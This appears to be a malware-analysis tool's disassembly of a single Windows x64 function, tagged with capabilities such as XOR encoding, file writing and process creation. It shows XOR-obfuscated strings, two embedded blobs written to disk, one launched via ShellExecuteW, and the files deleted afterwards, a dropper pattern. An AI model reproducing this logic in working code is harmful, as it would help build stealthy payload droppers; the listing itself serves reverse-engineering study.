Function at 0x14000cee0
Capabilities:
Create process on windows
Delete file
Encode data using xor
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x1400feb78]
xor rax, rsp
mov qword [rbp + 0x18], rax
xor r14d, r14d
lea ecx, [r14 + 0x2e]
xor edx, edx
call fcn.140005910
movzx edi, ax
mov word [rbp - 0x68], ax
lea ecx, [r14 + 0x73]
lea edx, [rcx - 0x72]
call fcn.140005910
mov word [rbp - 0x66], ax
lea ecx, [r14 + 0x79]
lea edx, [rcx - 0x77]
call fcn.140005910
mov word [rbp - 0x64], ax
lea ecx, [r14 + 0x73]
lea edx, [rcx - 0x70]
call fcn.140005910
mov word [rbp - 0x62], ax
xor ecx, ecx
lea edx, [rcx + 4]
call fcn.140005910
movzx esi, ax
mov word [rbp - 0x60], ax
lea edx, [r14 + 5]
movzx ecx, word [0x140092d4a]
call fcn.140005910
mov word [rbp - 0x5e], ax
lea edx, [r14 + 6]
movzx ecx, word [0x140092d4c]
call fcn.140005910
mov word [rbp - 0x5c], ax
lea edx, [r14 + 7]
movzx ecx, word [0x140092d4e]
call fcn.140005910
mov word [rbp - 0x5a], ax
lea edx, [r14 + 8]
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_46]
call fcn.140005910
mov word [rbp - 0x58], ax
xor eax, eax
mov word [rbp - 0x56], ax
mov edx, r14d
mov r15d, 0x133
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x68]
lea rcx, [rcx + rax*2]
lea eax, [r15 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 9
jb 0x14000cfd0
mov word [rbp - 0x56], r14w
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r14
lea rax, [rbp - 0x68]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], r14w
jne 0x14000d010
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 8]
call fcn.1400037e0
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x28]
call fcn.14000bdc0
nop
mov word [rbp - 0x68], di
mov ecx, 0x65
lea edx, [rcx - 0x64]
call fcn.140005910
mov word [rbp - 0x66], ax
mov ecx, 0x78
lea edx, [rcx - 0x76]
call fcn.140005910
mov word [rbp - 0x64], ax
mov ecx, 0x65
lea edx, [rcx - 0x62]
call fcn.140005910
mov word [rbp - 0x62], ax
mov word [rbp - 0x60], si
mov edx, 5
movzx ecx, word [0x140092d5a]
call fcn.140005910
mov word [rbp - 0x5e], ax
mov edx, 6
movzx ecx, word [0x140092d5c]
call fcn.140005910
mov word [rbp - 0x5c], ax
mov edx, 7
movzx ecx, word [0x140092d5e]
call fcn.140005910
mov word [rbp - 0x5a], ax
mov edx, 8
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_45]
call fcn.140005910
mov word [rbp - 0x58], ax
xor eax, eax
mov word [rbp - 0x56], ax
mov edx, r14d
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 0x68]
lea rcx, [rcx + rax*2]
lea eax, [r15 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 9
jb 0x14000d0d0
mov word [rbp - 0x56], r14w
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], r14
lea rax, [rbp - 0x68]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14000d110
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x58]
call fcn.1400037e0
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x48]
call fcn.14000bdc0
nop
mov ecx, reloc.WLDAP32.dll_Ordinal_45
xor edx, edx
call fcn.140005910
mov word [rbp - 0x68], ax
mov ecx, WSASetLastError
lea edx, [rcx - 0x6c]
call fcn.140005910
mov word [rbp - 0x66], ax
mov ecx, 0x61
lea edx, [rcx - 0x5f]
call fcn.140005910
mov word [rbp - 0x64], ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
lea edx, [rcx - 0x6d]
call fcn.140005910
mov word [rbp - 0x62], ax
mov ecx, reloc.WLDAP32.dll_Ordinal_32
lea edx, [rcx - 0x1c]
call fcn.140005910
mov word [rbp - 0x60], ax
xor ecx, ecx
lea edx, [rcx + 5]
call fcn.140005910
mov word [rsp + 0x40], ax
mov word [rbp - 0x5e], ax
mov edx, 6
movzx ecx, word [0x140092d6c]
call fcn.140005910
mov word [rbp - 0x5c], ax
mov edx, 7
movzx ecx, word [0x140092d6e]
call fcn.140005910
mov word [rbp - 0x5a], ax
mov edx, 8
movzx ecx, word [0x140092d70]
call fcn.140005910
mov word [rbp - 0x58], ax
mov edx, 9
movzx ecx, word [reloc.WS2_32.dll_WSACleanup]
call fcn.140005910
mov word [rbp - 0x56], ax
mov edx, 0xa
movzx ecx, word [0x140092d74]
call fcn.140005910
mov word [rbp - 0x54], ax
xor eax, eax
mov word [rbp - 0x52], ax
mov edx, r14d
movsxd rax, edx
lea rcx, [rbp - 0x68]
lea rcx, [rcx + rax*2]
lea eax, [r15 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x14000d211
mov word [rbp - 0x52], r14w
lea rax, [rbp - 0x68]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000d233
mov r12, qword [rbp - 0x18]
movabs rdi, 0x7ffffffffffffffe
mov rax, rdi
sub rax, r12
cmp rax, rbx
jb 0x14000d87c
lea r13, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae r13, qword [rbp - 0x28]
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea r15, [r12 + rbx]
mov esi, 7
lea r14, [rbp - 8]
cmp r15, rsi
jbe 0x14000d2b3
mov rsi, r15
or rsi, 7
cmp rsi, rdi
jbe 0x14000d292
mov rsi, rdi
jmp 0x14000d29f
cmp rsi, 0xa
mov eax, 0xa
cmovb rsi, rax
lea rdx, [rsi + 1]
lea rcx, [rbp - 8]
call fcn.14000a690
mov r14, rax
mov qword [rbp - 8], rax
mov qword [rbp + 8], r15
mov qword [rbp + 0x10], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x68]
mov rcx, r14
call fcn.140062270
lea rcx, [rbx + r14]
lea r8, [r12 + r12]
mov rdx, r13
call fcn.140062270
xor r12d, r12d
mov word [r14 + r15*2], r12w
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], r12
mov rsi, qword [rbp - 0x18]
lea r14, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae r14, qword [rbp - 0x28]
cmp rsi, rdi
ja 0x14000d882
mov qword [rbp - 0x50], 7
cmp rsi, 8
jae 0x14000d367
mov qword [rbp - 0x58], rsi
lea r8d, [r12 + 0x10]
mov rdx, r14
lea rcx, [rbp - 0x68]
call fcn.140062270
jmp 0x14000d3b1
mov rbx, rsi
or rbx, 7
cmp rbx, rdi
jbe 0x14000d378
mov rbx, rdi
jmp 0x14000d385
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x68]
call fcn.14000a690
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rbx
lea r8, [rsi*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.140062270
mov dword [rsp + 0x50], r12d
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae rcx, qword [rbp - 0x68]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14000d427
cmp rbx, 0xffffffffffffffff
je 0x14000d427
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x50]
mov r8d, 0x2400
lea rdx, [0x1400bb430]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x68]
call fcn.14000a580
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], r12
mov rsi, qword [rbp - 0x38]
lea r14, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae r14, qword [rbp - 0x48]
cmp rsi, rdi
ja 0x14000d888
mov qword [rbp - 0x50], 7
cmp rsi, 8
jae 0x14000d480
mov qword [rbp - 0x58], rsi
mov r8d, reloc.WS2_32.dll_recv
mov rdx, r14
lea rcx, [rbp - 0x68]
call fcn.140062270
jmp 0x14000d4ca
mov rbx, rsi
or rbx, 7
cmp rbx, rdi
jbe 0x14000d491
mov rbx, rdi
jmp 0x14000d49e
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x68]
call fcn.14000a690
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rbx
lea r8, [rsi*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.140062270
mov dword [rsp + 0x50], r12d
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae rcx, qword [rbp - 0x68]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14000d540
cmp rbx, 0xffffffffffffffff
je 0x14000d540
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x50]
mov r8d, 0x41200
lea rdx, [0x1400bd830]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x68]
call fcn.14000a580
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
lea r14, [rbp - 8]
mov rsi, qword [rbp - 8]
mov r15, qword [rbp + 0x10]
cmp r15, 8
cmovae r14, rsi
mov rbx, qword [rbp + 8]
cmp rbx, rdi
ja 0x14000d88e
mov qword [rsp + 0x70], 7
cmp rbx, 8
jae 0x14000d5af
mov qword [rsp + 0x68], rbx
mov r8d, reloc.WS2_32.dll_recv
mov rdx, r14
lea rcx, [rsp + 0x58]
call fcn.140062270
jmp 0x14000d5fc
mov rax, rbx
or rax, 7
cmp rax, rdi
ja 0x14000d5cb
mov rdi, rax
cmp rax, 0xa
mov eax, 0xa
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rsp + 0x58]
call fcn.14000a690
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rdi
lea r8, [rbx*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.140062270
nop
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x78]
call fcn.1400043b0
mov rbx, rax
lea rdi, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rdi, qword [rsp + 0x58]
mov r14, rax
cmp qword [rax + 0x18], 8
jb 0x14000d62b
mov r14, qword [rax]
mov ecx, WSACleanup
xor edx, edx
call fcn.140005910
mov word [rbp - 0x68], ax
mov ecx, 0x75
lea edx, [rcx - 0x74]
call fcn.140005910
mov word [rbp - 0x66], ax
mov ecx, WSASetLastError
lea edx, [rcx - 0x6c]
call fcn.140005910
mov word [rbp - 0x64], ax
mov ecx, 0x61
lea edx, [rcx - 0x5e]
call fcn.140005910
mov word [rbp - 0x62], ax
mov ecx, reloc.WS2_32.dll_WSAStartup
lea edx, [rcx - 0x6f]
call fcn.140005910
mov word [rbp - 0x60], ax
movzx eax, word [rsp + 0x40]
mov word [rbp - 0x5e], ax
mov edx, 6
movzx ecx, word [0x140092d3c]
call fcn.140005910
mov word [rbp - 0x5c], ax
mov edx, 7
movzx ecx, word [0x140092d3e]
call fcn.140005910
mov word [rbp - 0x5a], ax
mov edx, 8
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_46]
call fcn.140005910
mov word [rbp - 0x58], ax
mov edx, 9
movzx ecx, word [reloc.WS2_32.dll_WSAStartup]
call fcn.140005910
mov word [rbp - 0x56], ax
mov edx, 0xa
movzx ecx, word [0x140092d44]
call fcn.140005910
mov word [rbp - 0x54], ax
xor eax, eax
mov word [rbp - 0x52], ax
mov edx, r12d
mov r8d, 0x133
movsxd rax, edx
lea rcx, [rbp - 0x68]
lea rcx, [rcx + rax*2]
lea eax, [r8 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x14000d700
mov word [rbp - 0x52], r12w
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rdi
mov r8, r14
lea rdx, [rbp - 0x68]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, rbx
call fcn.14000a580
lea rcx, [rsp + 0x58]
call fcn.14000a580
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
cmp r15, 8
jb 0x14000d7bc
lea rdx, [r15*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000d7b3
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d894
mov rcx, rsi
call fcn.140015768
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x14000d7fc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d7f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d89a
call fcn.140015768
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r12w
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x14000d849
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d844
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d876
call fcn.140015768
mov rcx, qword [rbp + 0x18]
xor rcx, rsp
call fcn.140015810
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140067e44
nop
call fcn.140002760
nop
call fcn.140002760
int3
call fcn.140002760
int3
call fcn.140002760
nop
call fcn.140067e44
nop
call fcn.140067e44
int3